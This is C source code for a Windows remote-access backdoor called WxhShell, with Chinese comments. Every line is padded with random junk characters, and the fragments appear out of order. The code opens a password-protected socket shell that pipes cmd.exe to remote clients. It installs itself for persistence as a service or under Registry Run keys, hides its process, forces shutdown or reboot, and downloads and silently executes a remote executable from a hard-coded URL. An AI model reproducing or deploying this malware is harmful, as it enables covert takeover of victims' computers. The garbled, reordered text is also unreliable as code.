  // 关机 #Og_q$})f  
  case 'd': { 1S#bV} !  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {IwYoRaXa  
    if(Boot(SHUTDOWN)) m&8_i`%<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |(g2fByDf  
    else { u%'22q$  
    closesocket(wsh); '|r !yAO6  
    ExitThread(0); ' ]Y:gmM"  
    } <(%uOo$  
    break; :9qB{rLi}  
    } w]XBq~KO  
  // 获取shell k/Q]K e  
  case 's': { kS!*kk*a  
    CmdShell(wsh); % m$Mn x  
    closesocket(wsh); zg"ZXZ  
    ExitThread(0); 5%/%i}e~(  
    break; ArM e[t0$  
  } GMI >$$<  
  // 退出 @@&;gWr;  
  case 'x': { $6Psq=|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !4fL|0  
    CloseIt(wsh); 8t; nU;E*  
    break; 7.-|3Wcg  
    } CeemR>\t  
  // 离开 ~8E rl3=5{  
  case 'q': { VgL<uxq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r]{:{Z  
    closesocket(wsh); ;kA2"c]m  
    WSACleanup(); Ok\UIi~  
    exit(1); wEyh;ID3#  
    break; [c~zO+x  
        } Ado>)c"*y1  
  } !).d c.P  
  } wDzS<mm  
s3S73fNOk  
  // 提示信息 LdV_7)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <jjaqDSmz  
} K;O\Pd  
  } y6\#{   
qr1^i1%\  
  return; BZsxf'eN'  
} aqgSr|  
[;+YO)  
// shell模块句柄 xNU}uW>>T  
int CmdShell(SOCKET sock) 0jMrL\>C  
{ Ft7l/  
STARTUPINFO si; DoA f,9|_  
ZeroMemory(&si,sizeof(si)); aQuENsB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -#h \8Xl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eS M!_2  
PROCESS_INFORMATION ProcessInfo; n$9!G  
char cmdline[]="cmd"; kQtl&{;k?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F u)7J4Z  
  return 0; J<D =\  
} 3@SfCG&|e  
yuWrU<Kw  
// 自身启动模式 bK7DGw`1  
int StartFromService(void) NaIVKo  
{ 3dfSu'  
typedef struct +{&g|V  
{ L[efiiLh$  
  DWORD ExitStatus; 2*N# %ZUX  
  DWORD PebBaseAddress; '=xl}v  
  DWORD AffinityMask; w1Kyd?~%]  
  DWORD BasePriority; |tkmO:  
  ULONG UniqueProcessId; pw8'+FX  
  ULONG InheritedFromUniqueProcessId; D!CGbP(  
}   PROCESS_BASIC_INFORMATION; #v1 4"sZ}  
,wjL3c  
PROCNTQSIP NtQueryInformationProcess; W\/0&H\i  
.x&>H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X9>ujgK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Fc Cxr@  
1RLSeT  
  HANDLE             hProcess; 1JY4E2Q  
  PROCESS_BASIC_INFORMATION pbi; lB3X1e9  
D  UeT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o3yZCz  
  if(NULL == hInst ) return 0; Wl{Vz  
uPpP")  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6+>rf{5P7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ft5Bk'ZJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `|4{|X*U.  
6FfDif  
  if (!NtQueryInformationProcess) return 0; *Z(qk`e.b  
tpS F[W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gDH x+"?  
  if(!hProcess) return 0; p<YO3@B+  
tSjK=1"}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F+X3CB,f  
QJ QQ-  
  CloseHandle(hProcess); a^N/N5-Z  
[Z1EjeX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t{ 'QMX  
if(hProcess==NULL) return 0; a v/=x  
ie)Qsw@  
HMODULE hMod; n D?XP<9UU  
char procName[255]; hd900LA}  
unsigned long cbNeeded; p"ZPv~("V  
d7 @ N~<n  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PO #FtG  
FU<rE&X2:  
  CloseHandle(hProcess); }k%>%xQ.  
5<61NnZ  
if(strstr(procName,"services")) return 1; // 以服务启动 _=rXaTp  
d 1z   
  return 0; // 注册表启动 Ofn:<d  
} >?5`FC  
>DDQ7 l  
// 主模块 $>+-=XMVB  
int StartWxhshell(LPSTR lpCmdLine) ;9rQN3J$gn  
{ k[][Md2Vh  
  SOCKET wsl; `g#\ Ws  
BOOL val=TRUE; E:7vm@+  
  int port=0; g wk\[I`;  
  struct sockaddr_in door; *J6qL! ["  
V[% r5!83H  
  if(wscfg.ws_autoins) Install(); 0pu'K)Rb  
:]x)lP(3E  
port=atoi(lpCmdLine); dX<UruPA  
~{HA!C#  
if(port<=0) port=wscfg.ws_port; r J&1[=s  
='s2S5#1  
  WSADATA data; >k:)'*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4;_.|!LN  
RD~QNj9,T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z*FlZLHY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ih{~?(V$  
  door.sin_family = AF_INET; T_r[#j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *rWE.4=&  
  door.sin_port = htons(port); 0KEytm]  
q.#aeqKBP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Od"-w<'  
closesocket(wsl); ,L`qV  
return 1; L&eO?I=,  
} n^'{{@&(v  
NKd):>d%  
  if(listen(wsl,2) == INVALID_SOCKET) { 9[:nW p^  
closesocket(wsl); /wmJMX  
return 1; 9t=erhUr  
} @NO&3m]  
  Wxhshell(wsl); :D&QGw(n  
  WSACleanup(); bju0l[;=  
;DGp7f#9  
return 0; CnAhEf)b  
(33[N  
} e&E*$G@.7  
b\}`L"  
// 以NT服务方式启动 j&8U:Q,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T%Z`:mf  
{ jAF DkqH  
DWORD   status = 0; 3n X7$$X  
  DWORD   specificError = 0xfffffff; =\`9\Gd  
tr):n@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u6I# D _  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C}45ZI4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Rd2*  
  serviceStatus.dwWin32ExitCode     = 0; 1V)0+_Yv  
  serviceStatus.dwServiceSpecificExitCode = 0; Y8Mo.v  
  serviceStatus.dwCheckPoint       = 0; <&:3|2p  
  serviceStatus.dwWaitHint       = 0; \@5W&Be^  
$U!w#|&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x`a@h\ n  
  if (hServiceStatusHandle==0) return; d ;ry!X  
e;Q~P]x  
status = GetLastError(); w:pc5N>we0  
  if (status!=NO_ERROR) iTD{  
{ =PXNg!B}D*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N$pO] p  
    serviceStatus.dwCheckPoint       = 0; 9n$$D;  
    serviceStatus.dwWaitHint       = 0; _QCAV+K'  
    serviceStatus.dwWin32ExitCode     = status; eQzTb91  
    serviceStatus.dwServiceSpecificExitCode = specificError; s9@IOE GAt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )00#Rrt9  
    return; K{HdqmxL.I  
  } 6Ba>l$/q  
@Yy=HV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [4 "%NY  
  serviceStatus.dwCheckPoint       = 0; ^ .>)*P  
  serviceStatus.dwWaitHint       = 0; 2_UH,n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?jy^WF`  
} gm4-w 9M[p  
:s*&_y  
// 处理NT服务事件,比如:启动、停止 3"%:S_[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 60-LpGhvy  
{ * _U z**M  
switch(fdwControl) QD7>S(p  
{ DAJh9I  
case SERVICE_CONTROL_STOP: 'M YqCfIK  
  serviceStatus.dwWin32ExitCode = 0; _Tev503  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -0lpsF  
  serviceStatus.dwCheckPoint   = 0; O=ci"2!\-  
  serviceStatus.dwWaitHint     = 0; ](^VEm}w;  
  { MwXgaSV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %$Mvq&ZZ  
  } M,|o2'  
  return; q18dSu  
case SERVICE_CONTROL_PAUSE: OpYq qBf_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2uV=kqnO  
  break; :y 0'[LV  
case SERVICE_CONTROL_CONTINUE: &:w{[H$-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :'#B U:  
  break; hnL(~  
case SERVICE_CONTROL_INTERROGATE: n0nkv[  
  break; 9NKZE?5P|D  
}; HH8a"Hq)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _/7[=e}y  
} bMf +/n  
R~)c(jj5  
// 标准应用程序主函数  k:R9wo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LKztGfy  
{ ykM(` 1` m  
W>'R<IY4#N  
// 获取操作系统版本 s|YY i~  
OsIsNt=GetOsVer(); -x5^>+Y4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o"K{^ L~u  
@~/LsYA:  
  // 从命令行安装 *COr^7Kf5  
  if(strpbrk(lpCmdLine,"iI")) Install(); QR<IHE{~8  
yP~D."  
  // 下载执行文件 l{vi{9n)  
if(wscfg.ws_downexe) { w ~Es,@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "0n to+v  
  WinExec(wscfg.ws_filenam,SW_HIDE); sg{>-KHM  
} P !6r`d  
[R6du*P  
if(!OsIsNt) { i5V ly'Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 Pqx=j_st  
HideProc(); 8%I4jL<  
StartWxhshell(lpCmdLine); *(s)CWf  
} Wv$e/N`l  
else Aln\:1MU  
  if(StartFromService()) ExV>s*y  
  // 以服务方式启动 z_CBOJl#C!  
  StartServiceCtrlDispatcher(DispatchTable); .#EmE'IP*  
else :8Mp SvCV  
  // 普通方式启动 6d`6=D:  
  StartWxhshell(lpCmdLine); 7_n@iUG2n  
:E]A51  
return 0; kQwBrb 4  
} rEz=\yY^j'  
>=[w{Vn'Mf  
l\jf]BHX'  
h,0mJj-ma  
=========================================== `QAotSO+  
/k(0}g=\  
:1=mNrg  
Jc:*X4-'  
.Mdxbs6.C  
[u=b[(  
" -i7W|X"  
4:5CnK  
#include <stdio.h> Mryi6XT  
#include <string.h> i{!i %`"  
#include <windows.h> \} P}H  
#include <winsock2.h> GYyP+7K4l[  
#include <winsvc.h> r4D6g>)h1q  
#include <urlmon.h> l^WFMeMD3a  
, B h[jb`y  
#pragma comment (lib, "Ws2_32.lib") )# M*@e$k  
#pragma comment (lib, "urlmon.lib") @tRq(*(/:  
2U)H2 %  
#define MAX_USER   100 // 最大客户端连接数 '72ZLdi}-  
#define BUF_SOCK   200 // sock buffer .pr-  ^  
#define KEY_BUFF   255 // 输入 buffer ,z<\Z!+=  
%)u5A !"  
#define REBOOT     0   // 重启 \c_1uDRoUn  
#define SHUTDOWN   1   // 关机 Hq< Vk.Nk  
SPn0D9 b]  
#define DEF_PORT   5000 // 监听端口 g_5:o 3s  
+mYD DlvI  
#define REG_LEN     16   // 注册表键长度 rG}o!I`z  
#define SVC_LEN     80   // NT服务名长度 zf4@:GM`  
sGc4^Z%l?  
// 从dll定义API j ]F  Zy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gBf %9F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @$4(!80-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^t?P32GJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ik(TII_  
 5!NK  
// wxhshell配置信息 km4::'(6  
struct WSCFG { t/#[At5p=  
  int ws_port;         // 监听端口 9#@dQ/*  
  char ws_passstr[REG_LEN]; // 口令 9^c\$"2B  
  int ws_autoins;       // 安装标记, 1=yes 0=no 39BGwKXb  
  char ws_regname[REG_LEN]; // 注册表键名 khyn4   
  char ws_svcname[REG_LEN]; // 服务名 w<tr<Pu'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -{-w5_B$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `$fwLC3j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /F5g@ X&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /`Yp]l  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S6 `4&0'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Kisd.~u8j  
I.euuzBgA  
}; + i!/J  
d/j$_NQ&!  
// default Wxhshell configuration qR--lvO  
struct WSCFG wscfg={DEF_PORT, 7fgA)dU:K  
    "xuhuanlingzhe", BOoLs(p  
    1, $7T3wv9  
    "Wxhshell", A|O7W|"W  
    "Wxhshell", x{6/di  
            "WxhShell Service", L/_OgL]YdI  
    "Wrsky Windows CmdShell Service", Ir_K8 3VM  
    "Please Input Your Password: ", W]4Gs;  
  1, r ~si:?6:  
  "http://www.wrsky.com/wxhshell.exe", #-+!t<\  
  "Wxhshell.exe" /q ;MihK  
    }; k"LbB#Q  
;%"UZ~]f  
// 消息定义模块 %S]H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e #> wv]V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H B_si  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AL>*Vj2h/n  
char *msg_ws_ext="\n\rExit."; !=V>DgmW  
char *msg_ws_end="\n\rQuit."; [ft#zxCJ  
char *msg_ws_boot="\n\rReboot..."; ,q]W i#  
char *msg_ws_poff="\n\rShutdown..."; S2HGf~rE  
char *msg_ws_down="\n\rSave to "; &s>HiL>f  
1l"A7 V  
char *msg_ws_err="\n\rErr!"; zC\ pd#  
char *msg_ws_ok="\n\rOK!"; pE[ul  
c6:"5};_  
char ExeFile[MAX_PATH]; 8&7LF  
int nUser = 0; 35%'HFt_  
HANDLE handles[MAX_USER]; np}F [v  
int OsIsNt; 82WXgB>  
}H&NR?Ax  
SERVICE_STATUS       serviceStatus; Tar tV3;`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (`>RwooE  
hw:zak#j,  
// 函数声明 559znM=  
int Install(void); ==F[5]?  
int Uninstall(void); R%Gh4y\nF  
int DownloadFile(char *sURL, SOCKET wsh); RXP0 4  
int Boot(int flag); (Eq0 |"cj  
void HideProc(void); : |#Iw  
int GetOsVer(void); q+>J'UGb  
int Wxhshell(SOCKET wsl); %=xR$<D  
void TalkWithClient(void *cs); z _~ 5c  
int CmdShell(SOCKET sock); UN>!#Ji:$  
int StartFromService(void); snT!3t  
int StartWxhshell(LPSTR lpCmdLine); +/*g?Vt  
4&~ft  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (%ra~s?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZRf-V9  
-o#HO_9  
// 数据结构和表定义 $?YRy_SI  
SERVICE_TABLE_ENTRY DispatchTable[] = T^x7w+  
{ !j#Z48=&  
{wscfg.ws_svcname, NTServiceMain}, UQgOtqL3  
{NULL, NULL} -9Wx;u4]o  
}; @%q0fj8b  
lR\=] ]7I>  
// 自我安装 6UXa 5t  
int Install(void) (Hb i+IHV  
{ 8zS't2 u  
  char svExeFile[MAX_PATH]; X2hV)8Sk  
  HKEY key; e; 5 n.+m  
  strcpy(svExeFile,ExeFile); vE0Ty9OH"]  
9JV(}v5[  
// 如果是win9x系统,修改注册表设为自启动 rlqn39  
if(!OsIsNt) { =/&ob%J)9]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4# MvOjA5[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2cY7sE068  
  RegCloseKey(key); TK<~ (Dk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { POwJhT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <cW$ \P}hV  
  RegCloseKey(key); Va/LMw  
  return 0; T>2)YOx  
    } D$ zKkP YI  
  } cobq+Iyu  
} +/y 3]}  
else { M)C. bo{p  
D_ybgX?0:  
// 如果是NT以上系统,安装为系统服务 Y O;N9wu3f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sd'!(M^k3  
if (schSCManager!=0) dtw1Am#Ci  
{ u0`~ |K  
  SC_HANDLE schService = CreateService P*_!^2  
  ( Kf2Ob 1  
  schSCManager, +QT(~<  
  wscfg.ws_svcname, 3YVG|Bc~_  
  wscfg.ws_svcdisp, rC V&& 09  
  SERVICE_ALL_ACCESS, 9oKRn c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JG @bl  
  SERVICE_AUTO_START, j38>,9u,  
  SERVICE_ERROR_NORMAL, 1A"h!;0  
  svExeFile, *xR;}%s\  
  NULL, 4 :RL[;  
  NULL, o6,$;-?F_  
  NULL, jE|Ju:}&  
  NULL, D[U[ D  
  NULL &;S.1tg  
  ); t-*oVX3D  
  if (schService!=0) H6X]D"Y,  
  { pMnkh}Q#  
  CloseServiceHandle(schService); h$.y)v  
  CloseServiceHandle(schSCManager); KSU?Tg&JR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6*9hAnH  
  strcat(svExeFile,wscfg.ws_svcname); % \p:S)R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]CsF} wr'z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z? u\  
  RegCloseKey(key); ]`)50\pdw  
  return 0; Mk9'  
    } pt.0%3  
  } 8gwJ%"-K  
  CloseServiceHandle(schSCManager); XF(0>-  
} L/dG 0a@1X  
} H)S" `j  
2V %si6  
return 1; ${Cb1|g>j  
} `p1szZD&  
Se/VOzzg  
// 自我卸载 H'|b$rP0@  
int Uninstall(void) %SuEfCM  
{ :fz&)e9  
  HKEY key; Tn2nd  
>fRI^Q,  
if(!OsIsNt) { Q/&H3N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { sN0S~}F+  
  RegDeleteValue(key,wscfg.ws_regname); ( P|Ph  
  RegCloseKey(key); 9,wd,,ta  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n*~=O'  
  RegDeleteValue(key,wscfg.ws_regname); W<C \g~\  
  RegCloseKey(key); pi7Fd\A  
  return 0; rKEi1b  
  } +>mbBu!7  
} Lsv[@Rl  
} ]Tk3@jw+b  
else { ?n<b:oO  
I:l<t*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7wS )'zR;  
if (schSCManager!=0) Mqc"  
{ H1X38  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K0$8t%Z.  
  if (schService!=0) ; mnV)8:F  
  { ^Uss?)jN4  
  if(DeleteService(schService)!=0) { 17g\XC@ Cl  
  CloseServiceHandle(schService); tj/X 7|  
  CloseServiceHandle(schSCManager); rUvjc4O}  
  return 0; _1jd{? kt  
  } Z]f_? @0  
  CloseServiceHandle(schService); ))f%3_H  
  } >MD['=J[d  
  CloseServiceHandle(schSCManager); 6U[`CGL66  
} t=M:L[bis;  
} R{Q*"sf  
U5Say3r  
return 1; R&}"En`$s  
} F|p&v7T  
1sp>UBG  
// 从指定url下载文件 j}R!'m(P'  
int DownloadFile(char *sURL, SOCKET wsh) <y#-I%ed  
{ H0<(j(JK  
  HRESULT hr; |>o]+V  
char seps[]= "/"; tUouO0_l  
char *token; /W&Ro5-  
char *file; >xQgCOi  
char myURL[MAX_PATH]; 'L|& qy@  
char myFILE[MAX_PATH]; MzZYzz  
QCB2&lN\&L  
strcpy(myURL,sURL); feM%-  
  token=strtok(myURL,seps); }= OI (Wy  
  while(token!=NULL) c"`o V! m  
  { 2z9\p%MX  
    file=token; _K"|}bM  
  token=strtok(NULL,seps); W>3[+wB  
  } V|GH4DT=  
I^erMQn[ z  
GetCurrentDirectory(MAX_PATH,myFILE); _~V7m  
strcat(myFILE, "\\"); d 7vD  
strcat(myFILE, file); faQ}J%a  
  send(wsh,myFILE,strlen(myFILE),0); qgREkb0  
send(wsh,"...",3,0); XFpII4 5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )yvI  {  
  if(hr==S_OK)  PI_MSiYQ  
return 0; k L\;90  
else u!I Es  
return 1; M^^5JNY  
(IdXJvKU!  
} EC(,-sz\Z  
ZC}'! $r7  
// 系统电源模块 cQ( zBf  
int Boot(int flag) &)jBr^x#>  
{ 4q sIJJ[.  
  HANDLE hToken; 48;6C g  
  TOKEN_PRIVILEGES tkp; ct,B0(]  
X"_,#3Ko!  
  if(OsIsNt) { ?sfas57&y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `o~ dQb/k+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iSD E6  
    tkp.PrivilegeCount = 1; |  RMIV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K.3)m]dCl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %:i; eUKR  
if(flag==REBOOT) {  2fZVBj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) thG;~ W  
  return 0; &+V6mH9m@  
} Z*&y8;vUQ  
else { n0|oV(0FE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \Tf[% Kt x  
  return 0; ~)>O=nR  
} #[ZF'9x  
  } =!}n .  
  else { 7&oT} Z  
if(flag==REBOOT) { 'Cw&9cL9w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ( R2432R}J  
  return 0; UjCQ W:[  
} 6)<g%bH!  
else { (-k`|X"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /.PjHTM<  
  return 0; Gk~QgD/Pix  
} p4l^b[p  
} YrlOvXW  
,H6*9!Dv2  
return 1; 6z;C~_BV  
} <dzfD;  
I*,!zym  
// win9x进程隐藏模块 tBR"sBiws  
void HideProc(void) V>"nAh]}.  
{ hf5yTs  
80qSPitj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yX%q7ex  
  if ( hKernel != NULL ) >q W_%  
  { c6 O1Z\M@\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kmfz=q?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J<K- Yeph  
    FreeLibrary(hKernel); <{$0mUn;s|  
  } 7G,{BBB  
1Z9_sd~/6  
return; \#1*r'V8  
} ]/byz_7]  
Fh2$,$ 2  
// 获取操作系统版本 xd[GJ;xvs  
int GetOsVer(void) e,j2#wjor  
{ 5R^e  
  OSVERSIONINFO winfo; pPI'0x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~W?F.  
  GetVersionEx(&winfo); o }EipTL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >%qk2h>  
  return 1; "9mVBa|Q  
  else .KzGb4U  
  return 0; _<;;CI3w  
} >lyX";X#  
05$;7xnf(  
// 客户端句柄模块 ^]nnvvp  
int Wxhshell(SOCKET wsl) #&Xr2?E@  
{ LW+a-i  
  SOCKET wsh; RM^3Snd=V  
  struct sockaddr_in client; $U3|.4  
  DWORD myID; E0F8FR'  
P''5A6#5  
  while(nUser<MAX_USER) 2oY.MQD7iW  
{ 4J#F;#iA  
  int nSize=sizeof(client); +y%"[6c|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <d2?A}<  
  if(wsh==INVALID_SOCKET) return 1; CcF$?07 i  
c!,&]*h"k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R^_7B(  
if(handles[nUser]==0) q> ;u'3}  
  closesocket(wsh); l/=2P_8+Z  
else x2-i1#j`;  
  nUser++; G8]DK3#  
  } /g|H?F0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }>)e~\Tdzb  
_e2=BE`W)  
  return 0; o+9b%I^1V  
} %[1\d)  
^]x%z*6  
// 关闭 socket 96L-bBtyY  
void CloseIt(SOCKET wsh) =bn(9Gm!J  
{ Vjv~RNGF  
closesocket(wsh); 1 _A B; ^  
nUser--; dv?ael^  
ExitThread(0); [73 \jT  
} i=m5M]Ef  
tyEa5sy4  
// 客户端请求句柄 (s:ihpI  
void TalkWithClient(void *cs) D'{NEk@  
{  18(hrj  
s^atBqw,  
  SOCKET wsh=(SOCKET)cs; (P( =6-0  
  char pwd[SVC_LEN]; TH;kJ{[}  
  char cmd[KEY_BUFF]; ny(`An  
char chr[1]; ;$`5L"I5$  
int i,j; Qqp_(5S|>  
4*j6~  
  while (nUser < MAX_USER) { |@84l  
dA)JR"r2  
if(wscfg.ws_passstr) { o'oA.'ul  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qs38VlR_m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bOEO2v'cQ  
  //ZeroMemory(pwd,KEY_BUFF); kAu-=X  
      i=0; goE \C  
  while(i<SVC_LEN) { vb o| q[z  
3YKJN4  
  // 设置超时 *En29N#a{  
  fd_set FdRead; 7H$I9e  
  struct timeval TimeOut; [uJfmrEH  
  FD_ZERO(&FdRead); 6MewQ{hi  
  FD_SET(wsh,&FdRead); RA%=_wPD +  
  TimeOut.tv_sec=8; :i{Svb*_'  
  TimeOut.tv_usec=0; >i6sJ)2?>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l**gM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?L%BD7  
^{V t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #8Bs15aV  
  pwd=chr[0]; :\!D 6\o6  
  if(chr[0]==0xd || chr[0]==0xa) { `l#|][B)g$  
  pwd=0; e;|:W A  
  break; A"S F^p  
  } {7'Evfn)  
  i++; t2L }  
    } ~CtLSyB  
>)Udb//  
  // 如果是非法用户,关闭 socket 6 5%WjO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lx'^vK%F  
} }@)r\t4m  
D(E3{\*R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~pZ<VH;h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _/S qw  
xj ?#]GR  
while(1) { p#\JKx  
0[# zn  
  ZeroMemory(cmd,KEY_BUFF); _#dBcEH[  
s%& /Zt  
      // 自动支持客户端 telnet标准   VW$a(G_h  
  j=0; Gu#Vc.e  
  while(j<KEY_BUFF) { O(R1D/A[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jkQ%b.a  
  cmd[j]=chr[0]; y[D8rFw  
  if(chr[0]==0xa || chr[0]==0xd) { f:\)oIW9Kk  
  cmd[j]=0;  46^9O 5J  
  break; Y94 ^mt-  
  } ?M/H{  
  j++; |Ix{JP"Lk  
    } *(,zPn,  
{ R`"Nk  
  // 下载文件 'bd|Oww1u  
  if(strstr(cmd,"http://")) { RXi/&'+H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )Ja&Y  
  if(DownloadFile(cmd,wsh)) =O1py_m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ir{li?kV  
  else 5LF&C0v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bQvhBa?  
  } >1$ vG  
  else { O x),jc[/  
